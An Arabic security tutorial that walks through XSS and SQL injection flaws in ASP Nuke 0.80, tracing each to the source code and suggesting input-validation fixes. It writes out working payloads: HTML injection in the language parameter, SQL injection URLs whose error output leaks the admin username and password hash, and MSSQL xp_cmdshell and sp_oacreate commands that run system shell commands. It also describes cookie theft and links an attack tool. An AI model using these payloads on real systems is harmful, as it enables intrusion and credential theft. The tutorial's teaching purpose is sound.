دراسة الثغرات المتعددة في ASP NUKE 0.80 تحليل الكود لإيجاد SQL INJECTION & XSS

عام 0 geek4arab
Spread the love
دراسة الثغرات المتعددة في ASP NUKE 0.80 تحليل الكود لإيجاد SQL INJECTION & XSS
JAAScois.com » أبحاث ودراسات »
الكاتب: JAAScois
تاريخ النشر: 22/02/2006 م
في هذا الموضوع سنأخذ فكرة عن الثغرات الأمنية في تطبيقات الويب
بداية بثغرات cross site scripting او XSS ومن ثم ثغرات الحقن SQL INJECTION
وسنعرف في هذا الموضوع كيف يقع مبرمج التطبيق في الخطأ البرمجي وكيف يستغل
الخطأ من قبل الهكر لإختراق التطبيق ومن ثم السيطرة على الموقع او تطبيق الويب بالكامل!!

إخترنا في هذا الموضوع تطبيق او ويب أبلكيشن معروف وهي المجله الشهيرة ASP NUKE 0.80
تستطيع الحصول على نسخه من المجلة هنا – الإصدار 0.80
ftp://softlinks.ru/s168482/AspNuke_0.80.zip

بعد تخزين المجلة ,, تستطيع متابعة الموضوع إما بتتبع الكود المصدري او بتثيت المجلة في سيرفر
محلي على الجهاز . نبدأ في الموضوع:
تجد المجلة في ملف مضغوط بعد فك الضغط في مجلد جديد تنتج الملفات التالية
module ,img ,docs ,css ,about ,icon ,lib ,features ,js ,setup ,themes

1- الثغرة الأولى cross site scripting في صفحة إختيار اللغة
توجه للمسار module/support/language ثم إختر الصفحه select.asp
في البداية عمل هذه الصفحه تحديد اللغة عن طريق الكود بهذا الشكل select.asp?code=en
إذا كانت اللغة متوفرة بشكل تلقائي يتم تحويل التطبيق الى اللغه التي تم إختيارها
وإذا لم تكن موجودة يقوم التطبيق بعرض خطأ او رساله تخبرك بعدم توفر اللغة
لاحظ كود الصفحه:
select_asp.txt
يبدأ الكود بإستقبال الطلب من المتصفح بهذه التعليمه sLangCode = steForm(“code”)
ملاحظة الداله steForm هي داله معرفه في التطبيق وليست قياسيه في لغه asp
لو تلاحظ في بدايه الصفحه الإضافه التاليه
<!– #include file=”../../../lib/site_lib.asp” –>

توجه للملف site_lib.asp وستجد تعريف الداله steForm تمثل Request.QueryString بهذا الشكل

steForm = Request.QueryString(sField)

المهم بعد إستقبال الطلب يتم المقارنه بإستخدام if ,then ثم يتم طلب إستعلام SELECT
لرؤية إذا كانت اللغة متوفرة ,, المهم إذا كانت متوفرة يتم تغيير cookies اللغة الجديدة
ثم التوجه لها. وهذا لا يهمنا

إنزل إلى أسفل الكود بمعنى تجاوز كل أكواد مقارنه اللغه if..then..else
في آخر جمله else ستجد هذا الامر:

sErrorMsg = steGetText(“Invalid language code specified”) & ” (“”” & sLangCode & “””)”

والمعنى واضح وهو: إذا لم تجد اللغه بمعنى لم ينفذ اي بلوك مقارنه if
يقوم التطبيق بتحميل رساله الخطأ وهي عدم ” توفر اللغه ” في المتغير sErrorMsg
ضع مئة خط تحت إسم المتغير sErrorMsg
لاحظ الجمله sErrorMsg تساوي رساله خطأ وهي عدم توفر اللغه + اللغه التي تم طلبها sLangCode
بتوضيح أكثر ,,إذا اخترنا لغه صينيه بهذا الشكل select.asp?code=cn
سيكون المتغير sErrorMsg = “Invalid language code specified” + cn

وبعد هذه الداله ب3 اسطر لاحظ التعليمه
<b class=”error”><%= sErrorMsg %></b>
بمعنى إطبع في المتصفح رساله الخطأ sErrorMsg

أكيد لحسن نيه المبرمج يرى انه شيء طبيعي 100% سينفذ التطبيق وبنجاح !!! ولكن دعونا نرى وجه الهكر
في هذا الموضع ,, نرى ان التطبيق لا يتحقق من البارمتر الممرر select.asp?code=cn والبارمتر هو code
ماذا لو نفذ الهكر هذا الطلب select.asp?code=xxxxHackxxxx
بكل بساطة سيطبع التطبيق في المتصفح الرساله Invalid language code specified xxxxHackxxxx
ماذا لو تقدم الهكر خطوة وطبع كود html بهذا الشكل select.asp? code=<img src=http://www.x.com/hack.gif>
بكل بساطه سينفذ التطبيق الطلب ويقوم بإظهار صوره الهكر الرهيبه في صفحه الموقع
وهنا نستطيع إدخال اي سكربت متطور اكثر مثل الجافا سكربت وvb سكربت ونستخدمها
لإظهار cookies الذي يدخل الصفحه , وبما اننا إستطعنا تنفيذ اي سكربت تسمى هذه الثغرة cross site scripting
وتستخدم غالبا في سرقه الكوكيز الخاص بمدير الموقع ؟ عن طريق إرسال إيميل يحتوي على رابط الصفحه المصابه
لمدير الموقع ويمرر إلى الرابط كود جافا يقوم بطباعه أمر نقل التنفيذ من موقع المدير
إلى موقع انت تحدده ,, بعد تنفيذ النقل إذهب الى الموقع التي حددته وإفتح ملف log لتجد بيانات المدير
الذي إستقبل الرساله مثل ip ونوع المتصفح وcookie خزن بيانات الكوكيز في جهازك
او عن طريق برامج إرسال الطلبات للسيرفر …ارسل طلب فتح موقع المدير مع ملاحظة انك اضفت بيانات cookie
وعند دخول الصفحه ستتفاجأ بوجود الرساله ” مرحبا بك يا مدير ….. ” وتستطيع التحكم بالسيرفر

وبعد أن إكتشفنا الثغرة وشرحنا طريقه الإستغلال بقي أن نعرف الحلول ,, بكل بساطة الحل هو Disenable html tag
وهو عباره عن سكربت يقوم بالبحث عن اي tag في لغه html بمعنى اي امر بين علامتي <> يمثل امر في html
يقوم بإستبداله او عرض خطأ.
//
ثانياً:- ثغرات حقن الإستعلام في التطبيق SQL INJECTION
لو ركزت أكثر في كود الصفحه السابقه لتحديد اللغه , ستلاحظ وجود ثغره اخرى وهي SQL INJECTION
ولكن لتبسيط الموضوع سنأخذ ثغره اخرى SQL INJECTION وفي مكان آخر
الصفحه التاليه :- module/support/task/detail.asp بها ثغره SQL INJECTION
وهي ثغره خطير للحصول على إسم المستخدم وكلمه المرور لمدير المجلة

في الثغره السابقه… قمنا بتحليل الكود ثم إيجاد الخطأ وفي النهايه الإستغلال
اما في هذه الثغره سنعكس الخطوات.. سنبدأ بالإستغلال ثم تحليل الكود

أحد الهكر إكتشف الطريقه التاليه لإظهار إسم المستخدم والباسوورد
إذا نفذت الامر

http://localhost/module/support/task/detail.asp?taskid=Username–

ستلاحظ طباعه البيانات التاليه على المتصفح

Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value ‘admin’ to a column of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username– AND tsk.Active <> 0 AND tsk.Archive = 0

لاحظ السطر الثاني إسم المستخدم للمدير admin ؟!!!

وإذا نفذت الامر التالي:-

http://localhost/module/support/task/detail.asp?taskid=Password–

ستلاحظ طباعه البيانات التاليه على المتصفح:-

Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value ‘f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015’ to a column of data type int.

SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password– AND tsk.Active <> 0 AND tsk.Archive = 0

ستلاحظ كلمه المرور f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015
بتشفير SHA ,, تتوفر برامج كثيره لكسر هذا االنوع من التشفير

وبهذه البساطه يستطيع اي واحد ولو كان مايعرف يبند الكمبيوتر يقدر يخترق الموقع ؟!
ونحن لا نريد ان نتعلم القص والصق للإختراق ,, مايهمنا سبب حدوث الخطأ والثغرة لتجنبها

نبدأ ونتوجه للصفحه المصابه …. إفتح detail.asp
تجد الكود هنا
detail_asp.txt
نلاحظ بأن الإستغلال يتم بهذا الشكل detail.asp?taskid=Username
بمعنى إستغلال البارمتر taskid ,,, اول ما تفتح صفحه الكود لاحظ في بدايه الصفحه
اول إستعلام SQL هل تجد به اي خطأ؟؟ برمجياً 100% صح ولكن أمنياً يعني كارثه
لاحظ الصوره للتوضيح اكثر:-

دائماً يحذر خبراء الأمن من إستعمال البارمتر الممرر للتطبيق كما هو
قبل ان تدخل البارمتر الذي تستلمه لازم يمر بكود تشييك عليه ماذا يحتوي وكم حجمه

وفي النهايه لا تعتقد ان خطورة ثغرات sql تؤثر فقط على تطبيق الموقع وإنما
تؤثر على أمن النظام بالكامل,, تستطيع تنفيذ اوامر النظام مثلاً exec master..xp_cmdshell ‘dir’
و
declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’,null,’cmd.exe’

وتستطيع تنفيذ اوامر أخطر بإستخدام ابسط الادوات مثل sqlcomm.rar
http://www.xfocus.net/tools/200412/sqlcomm.rar
كما تلاحظ في الصوره تخزين backdoor عكسي

وبالتوفيق للجميع ,,,

الكاتب geek4arab

geek4arab

مواضيع متعلقة

التعليقات مغلقة